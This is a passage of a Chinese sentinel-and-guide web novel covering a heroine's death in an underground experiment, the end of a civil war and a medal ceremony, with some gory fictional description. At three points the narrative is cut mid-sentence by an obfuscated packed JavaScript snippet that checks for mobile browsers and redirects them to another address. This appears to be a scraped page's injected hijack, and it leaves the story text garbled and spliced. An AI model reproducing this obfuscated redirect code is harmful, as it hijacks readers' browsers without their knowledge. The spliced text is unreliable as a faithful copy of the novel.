顾小绒顿了顿,视线才从晏泽的手转移到自己身上,此时她同他一样穿上了白色的罩袍,脖子上闪过一丝流光,顾小绒再次看见了那条项链,坠子中心托举起来的圆形,像是熟透的果实一般散发着盈盈的光泽,比上次见到的更加饱满。 他们正牵着手走过一段漫长的黑暗,那里越来越深,像是越来越探究到某种不可知领域的边界,可他们身上的光却越来越亮,顾小绒甚至能感觉到自己的身子在微微发烫。 终于,在极黑的尽头,一丝雪亮的白光穿透了无际的黑暗,坍塌的世界在解构中重组新生。 光明重新笼罩了这里,出现在二人面前的,是一棵繁盛茂密、遮天蔽日的樱花树,在透明无垠的空间里,这棵发光的白色巨树将枝桠朝着穹顶撑起,根系紧扎在地底。上面的白色樱花也如同云雾一般灿烂旖旎,随着枝桠的延伸而灼灼盛开。 顾小绒的身子忽然地一顿,这是一种她从未体会过的感觉,她就好像离开了曾经那副微小脆弱的皮囊、脱离了由两个狭窄的小孔所注视的视角。 世界变得前所未有地清晰、广博,她的精神力轻盈、充沛、强力而无所不在,她就像是高飞的鸟、流散的风,紧扎在土里的根,她无所不在地、全面深入地感知着这个世界,这个因她而诞生的世界。 晏泽缓缓呼出一口气,她没有偏头,却完整而清晰地捕捉到他的一切,此时那双深蓝的眼几乎有些湿润,晏泽开了口,声音有些暗哑:“我没有骗你,我终于做到了。” 顾小绒沉默地注视着眼前遮天蔽日的白色巨树,心底累积的所有疑惑也在此刻拨云见日,她卸下了心中的警戒与防备,重新做了个决定。 数十年的实验成果如今正以完美的状态呈现在她眼前,即使晏泽的“通道”已经坍塌,但他留下的体系与架构仍旧是完美无缺的。 即使是已经脱离肉-体的限制、高度强大的“核心”,也需要“通道”的定位与保护,才能保证力量完整不被分散,因此从最开始,实验的构想便是一个“通道”对应一个“核心”。 可是晏泽却为了妹妹,将“核心”数量强行扩充到三个,难以想象是怎样的毅力驱使他支撑着这一切,他所作的一切甚至超越了这个看上去本就不可能的实验的边界。顾小绒甚至觉得,晏泽能坚持到现在才开始衰竭,几乎已经是无法想象的奇迹。 而现在,新的“通道”接替了他,重新托举起了“核心”,也托举起了新世界的日与月。这意味着向导实验是成功且可持续的,千百年汇聚的血泪都在这一刻赋予了意义,所有为此痛楚的灵魂都将得到安息。 “那几扇无法打开的门,也只有在通道重启的时候才会重新打开,是吧?”顾小绒垂下眼,虽然是在问询,可她的心里其实已经知晓了答案。 “原来是这样,你还真的没有骗我。”她的唇角弯起一丝温柔的弧度,白皙的指尖轻轻抬起,四扇纯白的门重新出现在樱花树的前方,第一扇门缓缓打开。 一切出现得太快,以至于晏泽猝不及防的转身在门开的那一刻仓促定格。 强烈的白光很快从大开的门扉中消散,出现在他们眼前的是一个瘦小的女孩,她看上去十三四岁的模样,穿着同他们一样的白色袍子,她银色的头发已经很长很长,仿佛流泻的银河一般铺散在身后。枯瘦而白皙的手揉着睡眼惺忪的湛蓝色眼睛,好像这阔别许久的岁月都只是一场长久的沉睡。 “哥哥。”女孩轻声唤道,语调充满了欣喜:“你怎么来了?我睡了多久?” 下一刻,疾风扬起满地落雪般的花瓣,晏泽的白袍飘散而起,他早已飞身向前,将女孩紧紧拥入怀中。 自从晏殊沉睡以后,她的意识永远地停留在了十四岁,被已然成年的晏泽抱进怀里时,显得那样纤小瘦弱。 女孩似乎也意识到眼前的哥哥产生了巨大的变化,她在他炽热坚固的拥抱里悄悄观察着,哥哥的身子很明显地高大了,明明是应该欣喜的重逢,他看上去却那样悲伤,以至于身子都在微微颤抖,他紧紧抱着她不肯松开。 晏殊有些懵,但还是乖乖任由他抱着自己,她的目光随后抬了起来,望向了顾小绒。 “是你?”晏殊顿了顿,脸上闪过一丝惊讶又欣喜的神情:“我是不是在梦里见过你,你曾经来陪我说过话的。” “嗯。”顾小绒点点头,朝她露出一个微笑:“很高兴见到你,小殊。” 晏殊笑容微微一滞,混沌的记忆后知后觉地翻涌而起,她的眼眶被一阵泪意盈满,连她自己都不知道那股酸涩从何而来。 她好像沉睡了很久很久,一直在没有尽头的黑色海洋中不断下沉,世界只剩下永恒的黑暗,她好像一个人在其中度过了很久的岁月。在这样长久的沉睡中,若是没有偶尔照射进来的几缕稀薄微光、没有那些时断时续的梦境与呓语,她或许永远都无法再醒过来。 晏泽替妹妹擦过沾湿的面庞,眼泪从湛蓝的眸子里大颗大颗地涌出,珍珠一般地扑簌落下。女孩隔着朦胧的泪眼努力看清眼前久别重逢的哥哥,他的面容褪去了少年的稚嫩,被打磨得坚毅深邃,那双眼也不再是曾经那样清透的池水,而是变作了一片深邃的海洋。 在她不在的日子里,他也独自一人行走了好久好久。 透明的小水母从晏殊的身后凭空出现,与晏泽变异的精神体相拥在一处,它的前额轻轻触碰着哥哥的身体,好像那不是溃败腐烂的表层,而是世上最柔软温暖的地方。两只遍体鳞伤的小兽,在长久的分离之后终于又依偎在一起,顾小绒静静看着这一切,可此时她却不得不打断二人。 “你们快走吧,有人要来了。”顾小绒的精神力尾梢轻而易举地定位到一位边缘位置的哨兵身上,通过哨兵的感官,她能感觉到上方有某种巨大的声响正在逼近。 晏殊与晏泽同时抬起头来望向那个方向,此时的他们做为“核心”,与通道的感知是共同存在的。顾小绒轻轻抬起手,他们身后的两扇门重新打开,里面是一片无垠的雪光。 晏泽回头看着那扇门,又看向她,他的眼神十分复杂,在短短的一刻,惊讶、感激、愧疚、释然混杂在一处,那些情绪最终定格在他的喉头深处,凝滞到无法说出口。 “好了,快走。”顾小绒冲着他们微微一笑。 “那你呢?”晏泽不得不暂时放开紧握妹妹的手,问道。 “我还有些事要做,而且我还有我想见的人。”白门中的光从里面渗透出来,不同于之前黑门的森冷,那里温暖而空灵。顾小绒不得不将他们各自推进那两道门里,一股微风扬起地面飘飞的落花,将兄妹二人的身子轻轻一抬,转瞬便落入了门扉里。他们的身影瞬间淹没在那阵白光中,如同石子消失在湖面,而后那两扇大门永远地关闭了。 顾小绒再次抬起头,这一次她通过另一位靠近仪器的哨兵感知到了时间,她抬起手来,将另外两扇门打开。 轻盈的风伴着微甜的花香拂过身畔,一只黑色的小巧身影轻轻飞出门扉,被这月华般满盈的光一照,又胆怯地往回缩了缩。 小蝙蝠转了一圈,最终还是落回了自己主人的肩上,缩进了黑色长发中。 “3号向导”、名叫温莉的女孩,从封闭已久的门扉中走了出来,她比顾小绒想象的还要小,也差不多是十三四岁的模样。与她相比,旁边另一位的向导就要沉稳许多,在温莉旁边的那扇大门前,艾丽西娅正缓步从中走出,她紫色的长发瀑布般地垂落下来,几乎快要没过膝盖。 “我们终于见面了,蝴蝶。”顾小绒淡然一笑。 “我记得你。”艾丽西娅显然对她的印象很深,不过在二人进一步交流之前,她还是上前一步安抚了一下茫然无措的温莉。 “小妹妹。”艾丽西娅半蹲下身,抚上女孩因为害怕而轻轻颤抖的脸,也许在她刚刚复苏的记忆里,意识的最后一幕还停留在森冷可怕的实验室中,她只知道自己经过了一场漫长可怕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055913|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噩梦,完全不明白眼前的一切是什么情况。 “你现在重新进到这扇门里。”艾丽西娅明丽的紫色眸子朝着顾小绒扫过一眼,便明白了一切,她的声音笃定而温柔:“然后一直往前走,你就可以回家了,你的家人会来接你的。” “诶?”温莉的脸哭得像个小花猫,小蝙蝠也因为害怕,几乎完全钻进了主人的衣服里。 “姐姐,你能陪我一起吗?”她拉着艾丽西娅的衣角,怯声问道。 “抱歉。”艾丽西娅深深吸了一口气,才轻声答道,看到对方暗淡下来的神色,她又摸了摸她的脸,柔声安慰道:“别怕,你看。”她往那里一指,门后的光芒变得更加温暖明亮,与来时的黑门全然不同。“是这个姐姐替你开的门,朝着里面走进去,走到尽头就可以了,不用担心。”她耐心地哄劝着。 强烈的光芒消散后,那里隐隐约约地出现了一条白色的走廊,旁边的景色虽然像是起雾一般看不真切,却还是能隐隐约约地看出是家乡近前的森林。温莉的眼中终于闪过一抹亮光,她犹豫了一下,随后踏入了门中。 第三扇白门永久地关闭了。 在做完了这一切后,二人才彼此静静而立,坦然相对。 “对不起,我没能完成任务。”艾丽西娅转身面向顾小绒,她的声音有些嘶哑,像是刚刚结束了一场漫长而孤独的风霜。 她低垂着头,眼眸下是一片骇人的乌青,原本明净剔透的紫色眸子也布满了血丝,很显然即使只是短短几秒的苏醒,也给她带来了极大的痛苦。若不是后期晏泽将她休眠,她绝无可能存活到此时还保有意志。 “别这样说,你的情报极其关键,若是没有你,我不可能走到这一步。”顾小绒能感觉到对方身上的衰变程度远超过晏殊与温莉,她可以在精神图景中替她延缓衰变的速度,可从外界的动向看来,他们没有太多时间了。 “走吧。”最后一扇白门打开,顾小绒上前一步,轻轻拉过艾丽西娅的手,她看上去苍白憔悴、骨瘦嶙峋,她比任何人都清楚她经历的痛苦与磨难。 艾丽西娅回握住顾小绒柔软的指尖,她的眼眸泛起一阵水雾,随后轻轻摇了摇头。 “谢谢你,可是……我不准备回去了。”她的脸上浮现出一层清浅而哀伤的笑意,顾小绒心里一沉,她感应到了地底上方的空间传来震颤,是定点爆破的声音。 “谢谢你把我解脱出来,我总算没有浑浑噩噩地死去。”艾丽西娅垂着纤长的睫羽,她的神色仍旧被悲伤浸染:“能看见你、得知计划并没有失败,我也算尽了自己的责任,了无遗憾了……现在,我想要去找我的哨兵。” 顾小绒怔怔地望着对方,心间隐隐作痛。 她翻山越岭、遍体鳞伤,承受了生而为人所不可承受的一切痛苦,都是为了他,一直一直、都只为了他。 艾丽西娅举起另一只手,将顾小绒的手拢入掌心,那里柔软而温热,跳动的脉搏仿佛仍旧连接着她的心。可是随后,艾丽西娅的身体就开始分解了,在刚才的那一刻,她将自己的衰变推到了极值。 微风扬起她紫色的长发,铺展如同漫天纷飞的薰衣草,艾丽西娅的笑容带着最后的一分哀伤与歉意,更多的却是释然与欣喜。她的身体逐渐破碎,化作片片斑驳的蝶翼,最后消散在顾小绒的手心。 自从伊莱死后,艾丽西娅如同残存的幽灵一般徘徊在世间,若是没有这番任务与曲折,她也许根本活不到这个时候……而此时,她终于卸下了责任、脱离了痛苦、从尘世中的一切纷扰中解脱,带着满腔的思念与欣喜,了无牵挂地奔向另一个世界、奔向她阔别已久的爱人。 顾小绒轻轻收拢指尖,将艾丽西娅最后消散的光点拢入掌心。终于,在这个生与死的边界空间,每一个人都到达了自己的结局,无论圆满或是遗憾。 一声剧烈的爆炸声响从远处传来,声音更近了,她能感觉到整个地底的震颤,滚烫的气浪翻涌而来,伴随着浓烈的硝烟与碎石尘埃。 “以上是12680号中尉顾小绒、代号「银雀」的所有汇报,任务成功完成。重复,任务成功完成。” 她终于累了,绷得直直的脊背松弛下来,靠住了身后发光的树干,疲惫的双眸望向前方,带着最后一丝祈盼与渴望。 坚不可摧的防御系统终于被轰开了一道破口,紧接着,是哨兵在黑暗中落地的声音。 75. 第七十五章 也许是神明的垂怜,也许是命运的既定,也许是渺茫宇宙中一点微不足道的巧合。 但如论如何,在高度清晰的精神力加持下,顾小绒一眼便看见了那个第一位进来的哨兵,她的精神力强大到甚至在瞬间就穿透了黑色的护目镜,望见了镜框后那双黑曜石般的眼睛。 雪松味的信息素扑面而来,这一次她及时且完整地感知到了他。她看见韩奕对着她的方向举起了枪,他拔枪的姿态利落挺拔,仍旧是熟悉的模样。 她知道自己此时的样子一定相当的可怖狼狈,不然无法解释黑暗哨兵的动作为什么会有瞬间的停滞,这简直慢得不像是他。每次面对她的时候,他好像就已不再是他自己似的。 在哨兵意料之外的停顿里,在最后珍贵的两秒中,顾小绒仔仔细细地凝望着他,描摹过他湿润的鬓角,苍白的嘴唇,和扣在扳机上的、微微颤抖的指尖。 剩余的时间已经不允许她有过多的思索,她被抽离到只剩最后的、本能的渴望,那就是再见他最后一眼,只最后一眼就好。 两秒的时间过去,第二位哨兵从破口处落下,降落在韩奕身后,顾小绒听到他发出一声难以控制的惊呼,随后便火速举起了枪。子弹从黑洞洞的枪口中飞驰而来,划破寂静的空间,顾小绒最后的视线仍旧落在韩奕的身上,他的模样变得从未有过的清晰,却又那样遥远。 子弹穿透加强的玻璃培养皿,将她的大脑贯穿,身后白光大盛,这棵遮天蔽日的、近乎完美形态的巨树,就这样在顷刻间破陨毁灭。 顾小绒缓缓闭上眼,在炽烈的光芒中迎来安息。 当楚飞紧随老师进入到被轰开的地底空间时,他几乎无法相信自己眼前看到的一切。 这个森冷晦暗的地下空间被筑造成一个巨大的圆型,仿佛是某种异类的巢穴,又仿佛孕育生命的宫-腔。无数的培养皿以比之前更加可怖密集的样子排列其中,而更为可怕的是,这个巨大的、血肉堆积的丛林是被中心处那明亮炽烈的白光所连接的,这一整个地下洞穴,都在“她”的连接下仿佛活物一般的呼吸着。 此时的哨兵正与自己的向导高度绑定,透过向导的精神力感知,他能清晰地感觉到眼前所有的躯体与灵魂,都被一张巨大的网络笼罩。而这张巨网的中心,就这样残忍直白、没有任何遮拦与阻碍地袒露在他们眼前。 巨大的培养皿散发着亮白的光芒,仿佛眼前这个岑寂世界中唯一的月亮。 一个头颅正漂浮在透明的培养液中,被无数的管道插入连接。楚飞感到胃里一阵翻涌,他第一次这样痛恨自己的视觉敏锐度,因为他能清晰地感觉到那颗头颅是活着的,即使后脑的颅骨已经被切开,几乎完全袒露出白色的脑内结构,被青色与黑色的各类管道汹涌着占据,他甚至能看到大脑上缓缓浮动的青筋与血管。 更加令他窒息的是,虽然那颗头颅已经被剃光了毛发,也紧紧闭着眼睛,可他仍旧能清晰地认出她的面容。似乎是被巨大的声响所惊扰,她银色的睫羽甚至还微微颤动了一下,能看见那双玫瑰色眼帘下缓缓转动的眼睛。 他记得那双湛蓝的眼睛,如同晴空时蔚蓝的苍穹、冬日晨时的寒星、原野里沉静的矢车菊,他对那双眼睛已经太过熟悉。 顾小绒,那是她的名字。 身后接连传来战友们落地的脚步声,楚飞听到了比自己声音更大的惊叫与咒骂,随后便是几乎完全下意识的举枪与扣动扳机。 “*****!这*****是什么东西?!”惊恐的尖叫震得哨兵耳膜生疼,可是这竟然丝毫没有分散他的注意力,他的目光一直注视着自己射出去的那道子弹,他这一枪打的极其精确,几乎是瞬间爆头、正中红心。 随后,无数的枪林弹雨也随着刚才那颗子弹一道,从楚飞的身后擦过,直到那个发着光的巨大培养皿被打成了筛子,玻璃炸裂开来,这颗小巧的头颅只迸射出有限的血水与脑-浆,像是盛开的花一般被泼洒而出的狂狼席卷其中,随后转瞬不见。 他被眼前这突如其来的一切震惊到无法动弹,以至于甚至没有发现眼前倾颓的身影。 曼琳比楚飞更快地反应过来,她一个箭步上前扶住了少将,当楚飞慢半拍地扶住长官的另一侧时,他感觉到对方的身体如同崩碎的山体一般垮塌下来,他与曼琳两个哨兵加在一块,竟然无法将他扶起。 韩奕只短暂地趔趄了一下,随后便缓慢稳住了身形,他将手臂从曼琳和楚飞的支撑中抽离出来,堪堪站定了身子。 现场一片混乱,直到两小时后大规模的支援队伍赶到,现场仍旧没有被清扫完。 “科研院的人还有多久到?”沈骁理所应当地接过了现场的指挥工作:“‘一号区域’清点完没?注意保护现场。” 他抬眼一看,见士兵们已经将机械臂运了进来,正撵过满地破碎的玻璃渣,试图将那一滩破碎到看不出形状的头颅捡拾起来。前任向导总负责人微不可闻地叹息了一声,命令他们停止,他随后从一旁的工作人员手中接过了手套和工具,小心地朝着那摊破碎的玻璃与血肉走去。 捡拾工作持续了很久,沈骁始终神情专注、小心翼翼,甚至连沾染着血的地方都没有踩到,他最终将那颗破碎的脑袋一片片放进盒子里。 “国旗。”沈骁眼睛都没抬地命令道,在士兵惊讶的目光中,双手将盛放头颅的盒子摆好,随后将艾泽洛瑞恩帝国的国旗覆盖其上。事实上,如果条件允许,上面应该放上一束白色鸢尾的,沈骁这样想着。 并不是每个人都有这样强大的心态接纳看见的一切,好几位年轻哨兵被眼前的场景刺激到狂吐不止,还有一些几乎是求着军医给自己注射一些镇静剂。 这里发生的一切确实有些突破下限,在科研院的研究团队到来后,清扫工作的进程被推进了许多,他们也从中排查到了更多关键的线索,包括但不限于1、2、3号向导的头颅,甚至是晏泽本人的头颅…… 这个人终于疯了,这是沈骁看到眼前场景时心中的想法。 在透明漂浮的培养液里,晏泽紧闭双目的头颅悬浮其中,就在他的妹妹晏殊的头颅旁,他们四人的培养皿位置在顾小绒身后排列成一个环形。在一位哨兵惊恐的举起枪时,沈骁伸手淡定地将他的枪口按了下来,眼前的一切已经很明显了:他们都已经死了,此时漂浮在培养皿中的只是冰冷发硬的尸-体。 北方军迅速占领了此地,并更大规模地派遣研究院的队伍过来,这里潜藏的数据不是一天两天可以处理完毕的,到最后沈骁也只能随最后一班军机撤离,毕竟在这样高强度的任务之后,他也需要休息。 在回到公会的途中,他看见重泽翻着自己拍下的照片,其中有一张是地下实验基地的入口,那是一个看上去有些年头的古老石门,而后来他们才确定这个地方是两千年前留下的一座祭坛,石门上雕刻着一句古语言写的诗词,翻译过来的大致意思是: “我将跨越时间的洪流,浩瀚的星海去找寻你,直到越过生与死的鸿沟。” 哨兵与向导是极其悠久的存在,在眼前这座混沌之初的古老文明里,有着诸多对于向导的猜测与解读,比如这座祭坛,应当是在当时与天地、灵魂沟通所用的场所。 那时的人相信在特定的情况下,向导的精神力可以感知到天地万物,甚至是死去之人的灵魂,他们从那时起便执着地探寻着生与死的边界。 没想到,千年之前的探寻并没有终结,而是一直被晏泽持续到了现在。尽管在最后公会的统一口径与宣传里,晏泽只是一个陷入狂热宗教信仰与幻想的疯子,他在这段危险的前沿实验里以失败告终,黑暗向导实验被彻底终止与摧毁,胜利终究属于正义的一方……如此云云。 晏泽死后,本就艰难的南方军几乎是立即分崩离析,北方军仅仅花了两三个月的时间便将残局清扫干净,到了最后,剩余的南方军将领几乎都为了争取减刑而争相投降,这场漫长的战争终于在第十一年的尾巴上结束。 悠久的冬季也终于走到了尾声,嫩绿的叶子从枯槁已久的枝头长出,长久覆盖的银色雪丘也被融化,重新露出生机勃勃的草地,野花漫山遍野地盛放开来,飞鸟与昆虫的啼鸣重新回到孤寂已久的世界。 绯色的黎明温柔地笼罩着从破碎边缘恢复过来的帝国,轻柔地抚摸过上面的每一寸裂痕,金色的太阳随后升起,将温暖的阳光遍洒大地。人们在劫后余生的喜悦里欢呼庆贺,他们等待这场迟来的黎明已经太久。 许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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银发哨兵静静听完了诏令的宣读,因为一直被控制在禁制塔里,他看上去消瘦了不少,脖子上还带着禁制环,不过此时他已经重获自由,站在大门外等他的便是公会为其精心挑选的优质向导。 诏令内容实际上已经提前送到,因此公会早已准备好了少将的服制,公会的所有哨兵都听闻过白狼的大名,因此在知道南方的雇佣兵头子与帝国最大的敌人竟然是己方卧底十年的间谍时,每一个人的表情都出乎意料地精彩。 希里斯,或者说斯特兰少将甚至还为损失巨大的中央公会保下了一位S级哨兵,就是之前在泽卡分化的那个名叫芬尼克的年轻人。 用莱安的话说,若是没有斯特兰提供的资料,北方根本无法那么快地研制出对抗剂,早在南方搞出新型催化剂的时候他们就完蛋了。后期也是斯特兰有意拖延,致幻剂的制造速度才被延缓,极大地牵制了晏泽的实验进程。在最后那场至关重要的泽卡战役里,斯特兰遵循命令保护顾小绒,最终促成了塞拉菲尔计划的成功与战争的胜利。 这十年来,斯特兰还护住了大量北方潜伏过去的间谍,几乎成为了北方间谍网络的中心支柱,沈骁派过去的三十多位向导卧底,也在斯特兰的保护下生还了二十六人。更不用说他的手上还掌握着巨量的详实证据,足以将剩余的南方军将领挨个送往刑场。 紫金丝带勋章是帝国的至高荣誉,战争结束后确认获得如此殊荣的也只有两个人。至于另外那一位,不用想也知道是谁。 战争结束后,虽然女皇没有怪罪下来,但莱安仍旧认为艾维背叛帝国是自己无法推卸的责任,他已经递上辞呈,决定辞去上将的职务。皇室的诏令几乎是立即紧随其后,韩奕少将毫无意外地被提为了上将,女皇陛下希望他继续统领三军与公会,与斯特兰一南一北、共同推进战后帝国的重建与修复。 战争英雄获得了众望所归的结局,那枚至高荣耀的紫金勋章,似乎都成了他无数荣光里最不起眼的一枚。 不过自从战争结束后,韩奕上将便很少出现,即使是维多利亚与曼琳也几乎见不到他,没有人知道他去了哪里。不过大家都很忙,战后修复与统筹规划的事情那么多,也没有人在意。毕竟到了上将这样的职级,他已经不必亲身做事,更多时候只需要负责审批和给予权限就行。 不过仍旧有急不可耐的年轻人发出抗议,比如佐伊,即使是战争结束,黑暗哨兵的狂热崇拜也依旧持续。 曼琳奉命压制住这股愈演愈烈的浪潮,她已经取消了很多关于黑暗哨兵的活动与社群,面对眼前年轻又刚好在中二阶段的小师妹,她只能耐心安慰她上将这样的军职本就不是他们可以轻易见到的,韩奕现在的身份十分重要,他有更多其他的事要做。 反正距离授勋仪式也没有几天了,等到那一天,战争英雄自然会出现的。 76. 第七十六章 关于授勋仪式为什么会这么晚才举办,主流舆论有好几种。 最主要的原因是举办的规模很大,规格也很高,甚至到了整个格兰特广场都需要重新修缮的程度。而另一个原因,则是几个月的时间足够负伤的那一部分士兵修养好伤口,尽可能地出席仪式。 维多利亚拨出了几个小分队用作仪式庆典的飞行表演,这对于才从战场上历练下来的空军来说,没有什么难度可言。 虽然陛下有意让斯特兰少将掌管南部地区的事务,可是因为健康问题,少将大多数时间都待在军区医院,帝国召来了最顶级的专家团队研究他脑袋中那个金属夹片,直到现在也没能得出结果,手术风险过大,没有人敢做。 “我知道这样说立场不太正确,但不得不承认……晏泽确实是顶级的天才外科医生。”某位不愿透露姓名的军区医院医生如是评价。 鉴于斯特兰目前的健康状况,实际上肩负起南部重建工作的仍旧是维多利亚,尽管中途好几次,出于对南境事务的生疏,她还是不得不上军区医院登门拜访。斯特兰已经出现了一定程度的行动偏差,走路需要用拐杖辅助,不过他最近的状态还算平稳,看上去出席仪式应该没有问题。 被分配给斯特兰少将的新向导是一位年轻的小伙子,身量高大的A级,他隐隐约约有听说过上一届匹配给S级哨兵的向导最后只有一个捡了半条命活下来,其他的全都牺牲。原本是抱着必死的决心慨然赴命,不曾想却把这份工作干成了医疗陪护。 随着越来越多秘密档案的解封,更多的信息详情也渐渐被人所知。 “斯特兰,男,现年30岁、身高185,S级哨兵,少将军衔,婚姻状况……丧偶?”资料员目瞪口呆地望着那一栏,似乎很难把这个词汇同那位曾经叱咤风云的雇佣兵头子联系到一起。 “诶诶,师兄。”风和日丽的下午,佐伊在疗养院繁茂的花丛中将楚飞堵了个严严实实,她的神情看上去蒙圈中带有一丝惊恐:“我们进攻泽卡的那个晚上……把斯特兰少将的夫人打死了?” “啊?”楚飞看上去比佐伊还要懵逼,他伸手接过了师妹递过来的资料,顺便给轮椅上的周烨看了看,那是个漂亮的、红色长发的女人,他对那一晚的记忆只存在任务相关的细节,实在想不起这样一个人:“我没印象了,她的向导素是什么?” 哨兵有些尴尬地摸了摸鼻尖,那时候他们和希里斯……斯特兰彼此还是敌对立场,哪里顾虑得了这么多。 “她没有向导素,她是做了精神力切除手术的向导。”佐伊的声音低了下去。 “那就更没有印象了。”楚飞摇了摇头,他看上去还想说什么,但最终还是咬住了嘴唇。 枪林弹雨的战场,谁能注意到一个精神力被切割的向导?更何况所有人都带着头盔与护目镜,也看不出谁是谁。这样危险的地方,一个失手劈砍的子弹残片也足以夺走残疾向导的生命,毕竟失去了精神力,她与普通人也没有什么区别。 “那晚少将不是也在泽卡吗?他没有去保护自己夫人吗?”佐伊还是有些没能缓过劲来,她怔怔地站在那,声音低得几乎要听不见。 “他去执行任务了。”楚飞不太想回忆起那一晚的细节,为了保护顾小绒,斯特兰搭上了半条命,也失去了自己的向导与妻子。 这一切无论主观还是客观,都是他们导致的。十一年内战下来,因为信息互相保密导致的己方人员彼此误伤、甚至误杀的情况并不在少数。 “唉……”佐伊叹了口气,将资料收了回去。 斯特兰卧底的时候给北方带来的伤害不小,即使是最后自证身份,他在公会中的处境也十分艰难,整个中央公会有一半人的战友都曾在白狼手下或死或伤,这份深仇大恨没有这么容易消解,因此斯特兰选择一直待在军区医院,某种程度上说也是一种明哲保身。 这份蔓延的仇恨与愤怒,直到斯特兰的健康状况更加恶化、并且得知他的夫人也因北方的出手而身死后,才有了那么一丝半点的消解,到后来,同情和尊重的舆论又重新占据了上风。 授勋仪式举办的那一天风和日丽、阳光明媚。 北方已许久不曾有这样晴丽的蓝天,格兰特广场的砖石地板被打理得崭新明净,在漫长岁月中残损的雕塑细节也被重新修补,看上去精美绝伦、光芒四射。紫色的镶金地毯几乎无止尽地铺陈过整个广场,那里四处拥满了白色的鸢尾,几乎变成了一片花的海洋。 楚飞早早推着周烨入场了,他的向导得的可是金丝带勋章,需要站在距离广场中央最近的地方,接受女皇陛下的亲自受勋。 与他们一同入场的还有曼琳和布雷塔妮,她们二人都已正式升职为上校,目前中央公会在她们的领导下运行得十分平稳,这一次她们和楚飞共同获得的都是银丝带勋章,所处的位置只比周烨稍微靠后一点点。 再往外一圈的是正羽和程浩,但是比起整个宏大的场地,他们也仍旧还在中心。正羽已从断腿的重伤中恢复了过来,目前可以穿着义肢行动自如,不过整场授勋仪式的时间太长,程浩还是给他准备了轮椅,在仪式正式开始之前他都需要老老实实地坐着。 在紧靠着他们的第三层内环里,气氛就变得有些微妙,佐伊正与薇拉和露娜尴尬的面面相觑,尽管她早已知道了她们两人也是北方的卧底,薇拉的真实身份是163020号上尉斯嘉丽,而露娜的真实身份则是170564号上尉伊琳。 不仅是她们彼此之间氛围尴尬,薇拉与露娜也是战后才互相知晓对方的身份,薇拉一直以来都是赛拉菲尔计划的成员,接受直属领导「尾鸦」、也就是斯特兰少将的指派,而露娜则是希尔瓦计划的一员,她从一开始就是韩奕上将安插在斯特兰身边的间谍。二人姐妹相称多年,直到此时才以真实面目相见。 这样复杂又纠结的情况让现场尬到可以扣出三室一厅,佐伊绞紧了手指。 薇拉的视线朝着前方落去,在遥远的中心区域,某位留她性命的S级哨兵正仔细地照顾着他坐在轮椅上的向导。突袭泽卡那一晚,那人明明可以杀了自己,却偏偏在最后关头避开了脏器,让她堪堪捡了条命回来。也许从那个时候开始,那位名叫楚飞的少校已经对“敌方”的成分有所怀疑,不过她已无法再去求证。 最重要的人物总是在最后才登场,此时距离仪式正式开始只有十分钟不到的时间,广场上已座无虚席,军部各层级的功勋人员几乎全部到场。斯特兰少将一经入场,便引来了现场的一片惊呼,薇拉和露娜仍旧气定神闲地托着下巴,像是以前的每一次那样注视着她们老大的登场。 斯特兰很少穿黑色的服装,这也是他第一次在公开场合穿上帝国少将的军服礼装,紫银色的六芒星在哨兵宽阔的双肩闪耀,垂下的流苏仿佛流泻的银星,紫色镶边的绶带尽头坠着华美的宝石,金制的勋章与胸针点缀在胸前,一如繁星汇聚。这身华美庄重的礼服之上,还有一张令周遭黯然失色的俊美面容。 “哇,他好帅啊……”听到周遭抑制不住的窃窃私语,露娜和薇拉相视一笑,习以为常。 “但老大看上去瘦了好多。”倒是露娜喃喃低语道,即使已经回到公会,她们对他的称呼也还是没有改过来。 被脑内的金属夹片接连折磨数月,斯特兰憔悴得很明显,尽管他看上去已经被精心地修饰过,眼下的大片乌青都被遮盖,过于凹陷的面颊也被妆容稍作修整,看上去有了那么一些气色。他走路的动作有些缓慢,手中拿着一支银质手杖以做支撑,以防等会儿面见女皇时站不起身来。 距离仪式开始的倒计时五分钟,另外一位重要人物才姗姗来迟,这一次整个广场掀起了欢呼的狂狼。 中心区域不得不打开防御遮罩,屏蔽掉如同暴雨一般袭来的鸢尾花,尖叫与呐喊被圆形的广场聚拢,声音变得更加震耳欲聋、响彻云霄。 直到现场氛围稍微冷静了一点,韩奕上将才在几位哨兵的护送下快步走向座位。 他倒是一如既往地适合黑色的衣服,做为三军最高的统帅,上将的军服正装实在是华美非凡、气势恢宏,紫色的披肩坠满星辰形状的宝石,随着挺直的腰身与修长的双腿垂落在身后。 锋芒逼人的黑刃被装进镶满宝石的刀鞘里,上将暗淡的眉眼在这身雍容华服的映衬下,硬是增添了一丝浅淡的神采。璀璨的胸针与勋章交叠在绶带上,看上去光彩夺目,这一身耀眼的装饰恰到好处地中合了上将冷冽的气质,也盖过了眼底深处那份不合时宜的萧索。 “他也很帅啊。”薇拉托着脸,微微歪了歪头。 怪不得小绒这么放不下他,她在心底想着。 因为一入选便被派去了南方卧底,薇拉实际上并没有真正见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上将一经现身,便被军部各处的人围了个水泄不通,这所有求见的人里有想要恭贺的,也有拿着文件申请权限和审批的。不过上将还需要参加女皇准备的一系列庆功宴与沙龙,仍旧是一面难求。 有不少人找到曼琳这边,希望可以通过她的关系与上将见上一面,曼琳艰难地扶额苦笑,她自己都见不到老师,哪里还能帮别人见。 